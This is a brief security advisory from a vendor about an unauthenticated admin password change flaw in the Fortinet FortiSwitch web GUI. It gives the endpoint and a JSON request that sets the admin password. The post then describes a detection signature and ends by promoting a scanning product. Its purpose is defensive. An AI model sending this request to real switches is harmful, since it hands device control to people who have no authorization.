Fortinet Fortiswitch - Unauthenticated Password Change (CVE-2025-48887)

Dee Sehejpal BSc (HONS)
Apr 25
1 min read

Application Details

Fortinet FortiSwitch GUI is a web-based management tool used to configure a Fortinet network switch.

Vulnerability

A unverified password change vulnerability exists in the Fortinet FortiSwitch GUI.

Identification

By sending a specially crafted request, a remote unauthenticated attacker may be able to change admin passwords.

POST /change_pass

PAYLOAD - 
{"username":"admin","newpass":"pwned123","confirm":"pwned123"}

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to change admin passwords.

Coverage

Idappcom has created signature 8025882 along with a traffic file for this vulnerability.

References

FortiGuard Labs

NIST

CVE-2025-48887

Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional